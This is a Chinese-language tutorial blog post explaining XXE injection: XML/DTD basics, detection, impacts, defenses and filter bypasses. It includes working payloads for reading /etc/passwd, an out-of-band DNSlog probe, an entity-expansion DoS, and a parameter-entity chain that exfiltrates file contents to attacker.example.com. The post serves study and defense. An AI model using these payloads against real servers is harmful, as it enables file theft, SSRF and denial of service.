当前位置: 首页 > news >正文

漏洞详解--XXE 从入门到精通!

一、漏洞原理

1.1 核心

XXE(XML External Entity injection),名为XML外部实体注入。其核心在于XML解析器默认允许外部实体/DTD,攻击者通过构造特殊的XML使其包含恶意外部实体。外部实体可以为服务器敏感文件,也可以为网络请求等,之后利用方式类似于文件包含和SSRF,有时甚至可以间接RCE(少见)。

1.2 原理详解

想彻底了解XXE,需要知道XML和DTD。

1.2.1 XML介绍

XML详细学习地址:https://www.runoob.com/xml/xml-tutorial.html
XML结构类似于HTML,都主要由元素(标签)和属性组成。XML推荐使用元素(标签)而非属性来传递信息。XML需要在开头有一个声明,然后有一个根元素涵盖其他元素。如下例

<?xml version="1.0" encoding="UTF-8"?>             <!--xml声明-->
<note>                                             <!--根元素--><to>Tove</to><from>Jani</from><heading>Reminder</heading><body>Don't forget me this weekend!</body>
</note>

上述第一句为声明,note为根元素,其他的to,from,heading,body为其他元素,可以用来传递信息。元素和元素中的内容可以类比于JSON中的键值对。

1.2.2 DTD介绍

DTD详细学习地址:https://www.runoob.com/dtd/dtd-tutorial.html
DTD是XXE漏洞不可或缺的部分。DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。我们主要用到的DTD的实体。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体分为内部实体和外部实体,分别类似于SSRF的本地/远程文件包含。一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号。通过引入外部实体,我们就可以达到读取敏感信息乃至RCE。
实体声明:

<!ENTITY entity-name "entity-value">         <!--内部实体声明-->
<!ENTITY entity-name SYSTEM "URI/URL">       <!--外部实体声明-->

例子:

<?xml version="1.0" encoding="UTF-8"?>             <!--xml声明-->
<!DOCTYPE author [<!ENTITY writer "Donald Duck.">                 <!--内部实体声明--><!ENTITY xxe SYSTEM "file:///D:/1.txt">          <!--外部实体声明-->
]>                            <!--DTD部分-->
<author>&writer;&xxe;</author>          <!--xml部分-->

二、检测与危害

XXE通常发生在后端的XML解析而非浏览器XML解析,由于很多后端可以自动切换对XML和JSON的解析。因此,虽然目前多是以JSON格式作为数据传输的方式,将请求头中的Content-Type改为application/xml后,或者一些老旧的系统,也有一定可能触发XXE。

2.1 检测方法

总体思路:先定位能提交 XML 的输入点 → 验证服务器是否解析 XML → 逐步注入实体(内置/外部/参数化) → 观察回显/DNSlog记录

2.1.1 定位 XML 输入点

(1) 查找 Content-Type:在抓包/代理(Burp/Proxy)中观察请求头是否存在 Content-Type: application/xmltext/xml、或 application/soap+xml
(2) 查找接口类型:SOAP 服务、SAML 参数(SAMLResponse)、文件导入(.xml)、RSS/Sitemap 导入、第三方集成、消息队列(XML 消息)等通常是高优先级;
(3) 前端检查:F12 → Network,查看请求体是否为 XML,或检查提交表单/上传是否接受 XML 文件。

2.1.2 有回显检测

(1) 基本步骤:在确认输入被解析后,先注入简单的内部实体做回显测试。观察HTTP 响应体是否包含 /etc/passwd 内容、异常堆栈或解析错误回显。
(2) 内部实体样例(读取本地文件):

<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY  xxe SYSTEM "file:///etc/passwd"> ]>
<r>&xxe;</r>

2.1.3 无回显外部实体检测

(1) 思路:把外部实体指向你能控制/监听的域名(常常用DNSLog)。发送XML后查看自己的dnslog有没有记录就可以知道能不能引用外部实体了。
(2) 示例:

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY remote SYSTEM "http://your-collab-id.oast.site/">
]>
<r>&remote;</r>

2.1.4 DoS(一般测试时一定不要用!!)

(1) 示例:

<?xml version="1.0"?>
<!DOCTYPE lolz [<!ENTITY a "aaaaaaaaaa"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"><!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
]>
<lolz>&d;</lolz>

2.1.5 协议/解析器差异测试

(1) 测试多种 scheme:file://http://https://ftp://ldap://gopher://(部分解析器支持)。
(2) 不同解析器对 DTD/外部实体的默认策略不同(Java、.NET、libxml、lxml 等),需尝试多种 payload 形式与嵌套方式。

2.1.6 代码审计

(1) 查找 XML 解析相关 API:DocumentBuilderFactorySAXParserFactoryxml.etreelxmllibxml2SimpleXML 等调用;
(2) 检查解析配置:是否启用 DTD/外部实体、是否有禁用 DOCTYPE、是否使用安全库(如 Python 的 defusedxml);
(3) 检查输入来源:是否直接解析用户上传/外部来源的 XML,或是否在未过滤的情况下处理 SAML/SOAP。


2.2 危害

XXE的危害与文件包含漏洞和SSRF相似,具有很多交叉和重叠的地方。具体如下所示。

2.2.1 本地文件读取

  • 说明:通过 file:// 实体读取服务器文件(如 /etc/passwd、私钥 /etc/ssl/*、配置文件、/proc/self/environ 等)。
  • 风险:凭证、配置、私钥泄露可能导致持久化入侵或 RCE(配合其它漏洞)。

2.2.2 实现SSRF

  • 说明:外部实体指向 http://internal:port/... 等,就类似于一个SSRF了,详见https://www.cnblogs.com/L-xy/p/19084683。
  • 风险:发现并利用内部管理接口、横向移动、获取临时凭证或敏感信息。

2.2.3 数据外发

用 HTTP GET 把数据放到 URL(query 或子域)

利用参数实体 / DTD 链把本地文件内容拼接进一个外部实体的 URL,然后解析器访问此 URL(通常是 GET)。攻击者的服务器在访问日志中看到请求并从 URL 或 Host 部分得到信息。下例用到了参数实体。

payload:

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % exfil "<!ENTITY send SYSTEM 'http://attacker.example.com/?p=%file;'>">%exfil;
]>
<foo>&send;</foo>

解释流程:

%file 被解析为 /etc/passwd 内容(参数实体值)。

%exfil 是一段字符串,定义了一个通用外部实体 send,其 SYSTEM URL 包含 %file 的值。

%exfil; 在 DTD 中展开,定义了 send。

正文 &send; 会触发解析器去请求 http://attacker.example.com/?p=
这样就把文件内容通过 URL query 发给了你控制的域名。

2.2.4 DoS(实体膨胀 / 资源耗尽)

  • 说明:通过嵌套实体或大量实体导致解析器内存/CPU 消耗)。
  • 风险:服务不可用、资源耗尽,影响可用性。

2.2.5 间接 RCE(链式利用)

  • 说明:XXE 本身读取的是文本/资源,若读取的内容被后续当作代码/命令/模板处理(例如写入并 include、传给不安全的模板引擎或反序列化器),可导致远程代码执行。
  • 风险:高危,通常需要系统中存在其他弱点配合(文件写入、不安全的 eval/include 等)。

三、修复与绕过

3.1 禁用DTD--首选

做法(示例)

  • Java: 在 DocumentBuilderFactory / SAXParserFactory 上设置 disallow-doctype-decl=true,并关闭外部实体特性(见下)。
  • .NET: 用 XmlReaderSettingsDtdProcessing = DtdProcessing.Prohibit
  • Python: 使用 defusedxml(如 defusedxml.ElementTree)来解析非受信任 XML。
  • PHP: 避免开启远程包含;用 XMLReader / DOMDocument 时传入 LIBXML_NONET 等选项以禁止网络访问;尽量避免 allow_url_include

绕过手法

  • 攻击者用参数实体 + 远程 DTD%remote;)链式注入,以在 DTD 中插入更多声明,尝试在某些解析器/配置下触发外联。

3.2 使用“安全XML库/API”而不是默认解析器

做法

  • Python 用 defusedxml,Java 显式设置安全特性或使用安全包装器,PHP 用 XMLReader/libxml 的安全选项。

3.3 限制scheme协议(file://, gopher://等)

做法

  • 在应用层过滤或白名单允许的 schemes(只允许 http/https 到特定域)。

绕过手法

  • 攻击者会尝试替代协议(gopher 用于构造任意 TCP payload 包括 POST;ldapftpjarzipdataphp:// 等 wrapper)或利用协议混淆(URL 编码、大小写变种、16进制,IPv6/decimal 表示法等)。

3.4 白名单/黑名单化

做法

  • 对上传的 XML 文件做内容扫描,阻断包含 <!DOCTYPEENTITY 的请求体。

绕过手法

  • 攻击者使用分段/编码/断行、嵌套远程 DTD、参数实体等技巧隐藏 <!DOCTYPE,或把 payload 放在合法元素里的 CDATA,绕过简单的 blacklist。
  • 利用非标准编码/UTF tricks、实体转义(&lt;!DOCTYPE)然后某些解码流程会还原并触发解析。

四、补充说明

4.1 参数实体

DTD参数实体与通用DTD实体相比,更加的隐蔽,有时候能够达到绕过的目的。


  1. 什么是参数实体(Parameter Entity)

XML DTD(文档类型定义)中,实体(Entity)分为两类:

  • 通用实体(General Entity):在 XML 文档的内容中使用,例如 &nbsp;
  • 参数实体(Parameter Entity)只能在 DTD 内部使用!!!,主要用于 DTD 结构的复用、组织和简化。

参数实体用 百分号 % 来定义和引用。


  1. 定义参数实体

语法:

<!ENTITY % 实体名 "实体值">

示例:

<!ENTITY % commonAttrs 'id ID #IMPLIED class CDATA #IMPLIED'>

这里 %commonAttrs; 就定义了一组属性声明,可以在其他元素声明中复用。


  1. 引用参数实体

引用方式:

%实体名;

示例:

<!ELEMENT book (title, author, year)>
<!ATTLIST book%commonAttrs;
>

等价于:

<!ELEMENT book (title, author, year)>
<!ATTLIST bookid ID #IMPLIEDclass CDATA #IMPLIED
>

  1. 外部参数实体

参数实体不仅能定义在 DTD 内部,还能引用外部文件,便于模块化。

<!ENTITY % externalDTD SYSTEM "file:///etc/password">
%externalDTD;

相关文章:

漏洞详解--XXE 从入门到精通!

一、漏洞原理 1.1 核心 XXE(XML External Entity injection),名为XML外部实体注入。其核心在于XML解析器默认允许外部实体/DTD,攻击者通过构造特殊的XML使其包含恶意外部实体。外部实体可以为服务器敏感文件,也可以为网络请求等,之后利用方式类似于文件包含和SSRF,有时甚…...

数学分析习题课 note

ohno,这很难第一讲:实数系 我们可以定义有序域 \(F\) 。一些有序域 \((F,+,\cdot,\le )\) 满足以下所谓连续公理: 连续公理 阿基米德公理:\(\forall x,y\in F,x>0,\exists n\in N^{+}\) 使得 \(nx>y\) 完备公理:若存在代数结构 \((F,+,\cdot,\le )\) 满足 \(F\subse…...

总结-CDQ 分治

关于 CDQ 分治 CDQ 分治是一种思想而不是具体的算法,并且必须离线处理,用于维护具有偏序限制的问题。 偏序可以理解为大小关系。 经典三维偏序 CDQ 分治的经典应用。 给定每个元素,每个元素都有三个属性 \((x,y,z)\),要求统计所有满足三个偏序条件时的价值。 标准方法:sor…...

【初赛】计算机语言 - Slayer

计算机语言 编译性语言 c c++ pascal 解释性预言 py java JavaScript ruby PHP...

深入浅出RocketMQ客户端编程

深入理解RocketMQ:从架构到实战的全方位指南 在当今分布式系统日益普及的时代,消息队列已成为支撑高并发、高可靠业务的核心组件。RocketMQ作为阿里巴巴开源的高性能消息中间件,凭借其卓越的性能和稳定性,在电商、金融等高要求场景中得到了广泛应用。今天,让我们一起深入探…...

Win10玩LOL弹窗

将红框内关闭关闭后,可以按win+g快捷键,如果不弹出那个窗口,在LOL里面应该也不会弹出...

溢出存储变量

这个 negative(i) 表示的就是 (-i) 这个数(其中 i>=0),在二进制下的编码。 这个编码满足 \(i+negative(i)=2^k\),可是由于我们二进制下只有 \(k\) 位,最高位是 \(2^{k-1}\),所以那个 \(1\) 会被丢掉,所以加起来结果为 \(0\)。 那如何确定一个数被存储为多少,因为前面…...

retrieving repo key for OS unencrypted from

在服务器上安装mkfontscale工具时,下载成功但是再安装过程中一直提示: retrieving repo key for OS unencrypted from http://repo.openeuler.org/openEuler-22.03-LTS-SP3/OS/x86_64/RPM-GPG-KEY-openEuler。 手动下载RPM-GPG-KEY-openEuler文件,将其上传到服务器/etc/yum.…...

3. Explain详解与索引最佳实践

3.1 Explain使用与详解id select_type table partitions type possible_keys key key_len ref rows filtered Extra1 SIMPLE user NULL ref idx_name_age_dpt idx_name_age_dpt 1023 const 1 100.0 NULL中 重要 中 低 重要 重要 重要 重要一般 一般 一般通过EXPLAIN或DESC命令获…...

软工个人项目作业

这个作业属于哪个课程 https://edu.cnblogs.com/campus/gdgy/Class34Grade23ComputerScience这个作业要求在哪里 https://edu.cnblogs.com/campus/gdgy/Class34Grade23ComputerScience/homework/13477这个作业的目标 制作论文查重工具论文查重工具项目文档 项目概述 本项目是一…...

异地办公文件同步,多台设备如何无缝同步最新教程

如何实现异地电脑文件同步?本文对比了坚果云与Syncthing等复杂技术方案。讲解如何使用坚果云,无需繁琐配置,即可在Windows/Mac等多设备间实现文件自动、实时同步。是解决远程办公和多设备管理难题的简单、高效选择。异地电脑文件同步?告别复杂技术,一招搞定! 身处不同城市…...

CSP-S模拟22

前言: 哈哈哈,又是一场爆零的模拟赛~~ \(T1:\) 木棍 思路: 机房出现了两种思路: 第一种:我们不难发现,一共就只有五种情况\({334}{2233}{2224}{244}{22222}\)...

详细介绍:【系统分析师】2025年上半年真题:论文及解题思路

详细介绍:【系统分析师】2025年上半年真题:论文及解题思路pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New",…...

实战有效的Web时序攻击技术剖析

本文深入探讨了Web时序攻击的实际应用,包括参数发现、服务器端注入和反向代理配置错误检测,通过真实案例展示了高精度时序分析技术在安全测试中的突破性进展。倾听低语:实际有效的Web时序攻击 | PortSwigger研究 James Kettle 研究总监 @albinowax 发布时间:2024年8月7日 1…...

22222222 - idle

//为什么要攀登?因为山就在那里。 #include<bits/stdc++.h> #define mrx 0x7f7f7f7f7f7f7f7f //#define int long long using namespace std; inline int read(){int num=0,flag=1;char ch=getchar();while(ch<0||ch>9){if(ch==-) flag=-1;ch=getchar();}while(ch…...

表格如何设置多人在线编辑?坚果云实时编辑,告别版本冲突!

还在为Excel表格多人协作的版本混乱、数据冲突而烦恼吗?本文深入对比坚果云、在线Office等三大解决方案,并提供坚果云实战教程。教你如何利用其强大的实时同步、版本管理和权限控制功能,彻底告别协作难题,实现高效、安全的团队文件管理。告别表格协作难题:三大高效解决方案…...

白嫖党狂喜!爆肝一下午搞定 URL 转 HTML 幻灯片神器,ISlide 9900 资源点从此是路人

原文:白嫖党狂喜!爆肝一下午搞定 URL 转 HTML 幻灯片神器,ISlide 9900 资源点从此是路人家人们谁懂啊!之前分享的 ISlide 插件做 PPT 一次要耗 9900 个资源点【从 url 到 PPT 一键生成:Coze 工作流,颠覆你的内容创作方式!】,作为资深白嫖党看着资源点的大量消耗实在心疼…...

继承

1.概述 子类和父类的区分需要根据实际情况,不能随便使用 2.子类只能继承一个父类,(单继承),但是可以多级继承 所有类都简介或直接继承Object类(java虚拟机自动生成) 3继承的内容 成员变量 继承的private内容可以被继承但是不能直接使用,需要用get()方法 继承中成员变量的访问特…...

我们究竟在用钱交换什么?

钱,藏着哪些我们没说透的用途?"穷人用健康换钱,富人用钱买健康",而最残忍的是,后者永远买不完 这个世界上,钱不是万能的,但有钱的确能解决99%的问题,包括给我们带来自尊和底气!中国有句老话:和气生财,我认为,和气不一定生财,但有钱确实能为家庭带来一…...

jupyterLab如何使用

好的,JupyterLab 是一个非常强大的交互式开发环境(IDE)。下面我将从安装、启动、核心功能到高级技巧,为你提供一个完整的入门指南。一、安装 JupyterLab 首先,你需要安装 JupyterLab。强烈建议在虚拟环境中安装,以避免包冲突。 1. 使用 pip 安装(最常用) # 1. 创建并激…...

HyperWorks许可监控

在当今竞争激烈的工程设计和仿真领域,资源的高效利用至关重要。HyperWorks作为一款业界领先的工程仿真软件,其许可监控功能为用户提供了强大的资源管理和优化工具。本文将向您介绍HyperWorks许可监控的重要性以及如何利用它确保您的资源得到充分利用。 什么是HyperWorks许可监…...

C++拷贝构造函数详解:从浅拷贝到深拷贝

什么是拷贝构造函数? 拷贝构造函数是C++中的一种特殊构造函数,用于创建一个新对象作为现有对象的副本。当我们使用一个对象来初始化同类型的另一个对象时,拷贝构造函数就会被调用。 基本语法 class MyClass { public:// 拷贝构造函数MyClass(const MyClass& other) {// …...

K8S探针

https://blog.csdn.net/weixin_28820113/article/details/148380309 HTTP探测实战(最常用) 向容器发送 HTTP 请求,若返回状态码为 200-399,则表示检查成功[root@master ~/probe]# cat readiness.yaml kind: Pod apiVersion: v1 metadata:name: nginxlabels:app: nginx spec…...

模拟赛

波波牛的惩罚 我们先处理出每个数可能影响的数,可以用链式前向星或 vector 我们维护一个队列,在最开始的时候放入最小值。 每次取出一个数,然后遍历所有可以影响的数,并把影响成功的数放进队列。 在最后判一下是否相同即可。 复杂度 \(O(n)\)。点击展开代码 #include<bi…...

bug1

9.16 修复报错字体大小bug 补充日志 TeXmacs/progs/debug/debug-widgets.scm 修改build-message 为以下 (define (build-message m)(let* ((k (tm->stree (tm-ref m 0)))(s (utf8->cork (tm->stree (tm-ref m 1))))(t (tm->stree (tm-ref m 2))))(cond ((string-e…...

C#第十二天 025

父类如果只有有参构造器,子类会默认去调用父类的无参构造器,如果子类要有无参构造器需要这样 子类构造器():base(参数)你的理解​​完全正确​​!当父类​​只有有参构造器​​时,子类必须​​显式调用父类的有参构造器​​,否则会编译错误。 类成员的访问级别不能超…...

选择语句的机器级表示

无条件转移指令--jmp 格式: jmp <地址> #pc无条件跳转到<地址> <地址>可以由常数直接给出:jmp 5 <地址>可以来自于寄存器:jmp eax <地址>可以来自于主存 :jmp [999] <地址>可以用“标号”锚定:jmp NEXT 100 mov eax,7 104 mov ebx,6 …...

pip常用命令

好的,这是 Python 包管理工具 pip 的常用命令大全,涵盖了从安装、升级、查询到问题排查的所有核心操作。一、核心命令:安装与卸载命令 描述 示例pip install <package_name> 安装最新版本的包 pip install requestspip install <package_name>==<version>…...

Nginx auth_request 模块使用

Nginx auth_request 模块使用笔记 📌 模块概述 nginx-auth-request-module(官方名:http_auth_request_module)用于在请求处理前向外部服务进行认证验证。 🔧 安装与启用 # 编译时添加模块 ./configure --add-module=/path/to/nginx-auth-request-module# 检查是否已安装…...

用nssm将minio和srs注册成服务

首先,要注意一个关键问题,不要在nssm中直接调用batNSSM 与 Bat 文件的问题:当NSSM启动一个批处理文件(.bat)时,它实际启动的是cmd.exe进程,而批处理中的命令(如minio.exe)则是其子进程。NSSM会监视cmd.exe的状态。一旦批处理中的命令执行完毕,cmd.exe进程就会退出,N…...

Mac上的Markdown学习

Markdown学习 标题 一个#+空格表示一级标题 两个#+空格表示二级标题 ……同理,几个#+空格表示几级标题 字体 粗体 Hello World 前后两个*表示粗体 斜体 Hello World 前后一个*表示斜体 斜体加粗 Hello World 前后三个*表示斜体加粗 删除线 Hello world 前后两个英文字符~表示删…...

ubuntu 18.04安装mysql8.4.5

环境Os:ubuntu 18.04 desktop桌面版mysql:8.4.5 glibc2.17 查看操作系统信息root@db:/# ldd --version ldd (Ubuntu GLIBC 2.27-3ubuntu1) 2.27 Copyright (C) 2018 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is…...

Radxa E20C 安装 OpenWrt

背景 今天浏览 Radxa E20C 官方文档中无意中发现设备可以安装 OpenWrt,如下图:Radxa E20C 官方文档安装 OpenWrt参考链接: E20C->上手指南->安装系统->安装系统到EMMC->Windows主机创建目录 01-DriverAssistant v5.0, 下载 DriverAssistant v5.0 ,并解压和安装…...

第三篇:配置浏览器

111111车到山前必有路,学到苦海甘甜来。只有知识和阅历对的起自己的年龄,美好的生活才不会欺骗自己!...

第二篇:playwright初步解析

以下是一个完整的测试用例,模拟用户登录功能: 脚本示例:from playwright.sync_api import sync_playwrightdef test_login(): with sync_playwright() as p: # 启动浏览器 browser = p.chromium.launch(headless=True) page = browser.new_page()# 打开…...

高性能计算-TensorCore-hgemm

1. TensorCore 简介:硬件层面支持半精度浮点矩阵乘法,与昇腾NPU的 cube 核类似,最小只能计算规定尺寸的矩阵乘法。 wmma API 封装在 nvcuda 命名空间2. naive :一个block 1 个warp,wmmaTile 16*16点击查看代码 //naive 一个block 一个warp,一个线程处理一个数据 template …...

《ESP32-S3使用指南—IDF版 V1.6》第三十八章 SPIFFS实验

第三十八章 SPIFFS实验 1)实验平台:正点原子DNESP32S3开发板 2)章节摘自【正点原子】ESP32-S3使用指南—IDF版 V1.6 3)购买链接:https://detail.tmall.com/item.htm?&id=768499342659 4)全套实验源码+手册+视频下载地址:http://www.openedv.com/docs/boards/esp32/…...

技术交流社区基础防诈指南

技术交流社区基础防诈指南技术交流社区基础防诈指南 若已确认被骗或发现违法内容,请立即通过以下渠道举报:公安部网络违法犯罪举报网站:12321.cn (网络不良信息) 国家反诈中心:拨打 110 或通过官方APP举报 (注意:报警时务必索要《受案回执》) 中央网信办违法和不良信息举报…...

神秘题

Trick排列置换题,考虑转化乘环上移动问题。题目 精灵之环 假设知道排列 \(p\)。 那么把这个排列 \(p\) 的环连出来,环上点的编号是排列的下标,点的值是编号对应的值。 就比如排列 4 1 2 3 的环为: val: 4 1 2 3 4 id : 1->2->3->4->1...可以发现把这些环上…...

技术群高级防骗指南

技术群高级防骗指南技术群高级防骗指南 怎么骗的 怎么防 被骗会怎么样 怎么骗的 1.资源储备与身份伪装: 1.盗盗取大量高等级账号并使用,给人友好可信的虚假印象2.养 ​ 骗子可能会花时间养这些盗来的号, 参与正常讨论,发一些专业的言论, 或者爆出自己是某某名牌大学来的 / 某…...

集训游记

前言 关于我 2025-9-16 开始写游击这件事情,其实已经考了 10 多次了,感觉前几次还好,后面被削弱了/kk,肯定是感冒debuff的问题,目前是能碾压ysh和lh的部分时候可以干掉xch,别的没咋关注.exe 2025-9-16 上午考试,比赛题目居然叫做 fish、oblivious、array、digit...

SQL Server 中的 STUFF 函数与FOR XML PATH详解 - 实践

SQL Server 中的 STUFF 函数与FOR XML PATH详解 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", mono…...

2025/9/16 总结

A 用时:2h 预期:0pts 实际:0pts 考试是没有想到可以考虑 \(p_k\) 的置换环,思考许久没有思路。 然后打表找构造方法没有找出来心态就炸了,导致后面基本没有写暴力,直接垫底了。 总结:对于这种排列问题,可以考虑置换处理。考试心态不要炸,即使不会做也要打暴力。B 用时…...

Linux备份数据

linux备份常用技术一、备份数据库 1、准备一份备份命令sh文件,比如将其存放在/opt/db_bak中,命名为bak_mysql.sh#!/bin/bash # MySQL备份配置 MYSQL_USER="root" MYSQL_PASSWORD="root" MYSQL_HOST="10.10.10.10" MYSQL_PORT="3306"…...

np.argmax

argmax 是 NumPy 和许多其他科学计算库(如 PyTorch、TensorFlow)中的一个非常常用的函数,它的作用是返回数组中最大值的索引。 简单来说,argmax 告诉你最大值在哪里,而不是最大值是多少。 argmax 的基本用法 np.argmax(a, axis=None, out=None)a: 你要查找最大值索引的数组…...

TQ322数字PIR使用笔记

TQ322 数字PIR特性: 双元单通数字输出热释电红外传感器我使用中断读取的方式即时获取数字PIR传感器内最新的数据具体时序如下: 单片机IO 模拟时序程序如下: (代码中NOP数量根据单片机主频和型号自行调整)/*-------------------------------------------------* 函数名:D…...

使用Apache做web服务器时无法断点续传的怎么办?

Apache 作为 Web 服务器时,如果无法实现 断点续传 功能,通常是因为配置问题或文件系统的限制。断点续传是指用户在中断下载后,可以从上次中断的地方继续下载,而不是重新开始。以下是可能的原因分析和解决方法。1. 什么是断点续传?断点续传(HTTP Range 请求):由客户端发…...

Rust使用rbatis

toml rbs = { version = "4.6"} rbatis = { version = "4.6"} #drivers rbdc-mysql = { version = "4.6" } # 其他依赖 serde = { version = "1", features = ["derive"] } serde_json = "1.0" tokio = { version…...

2025ICPC网络赛第一场(A,B,C,D,G,I,M)

A. Who Can Win https://qoj.ac/contest/2513/problem/14301 思路 按题意模拟,统计第 \(239min\) 时成绩最好的队伍,记为冠军队伍,从 \(240min\) 开始到比赛结束的所有队伍都假设提交通过,实时计算成绩,一旦超过 \(239min\) 前的成绩最好队伍同样记作冠军。 细节: 1.输出…...

Google Maps

Google Maps...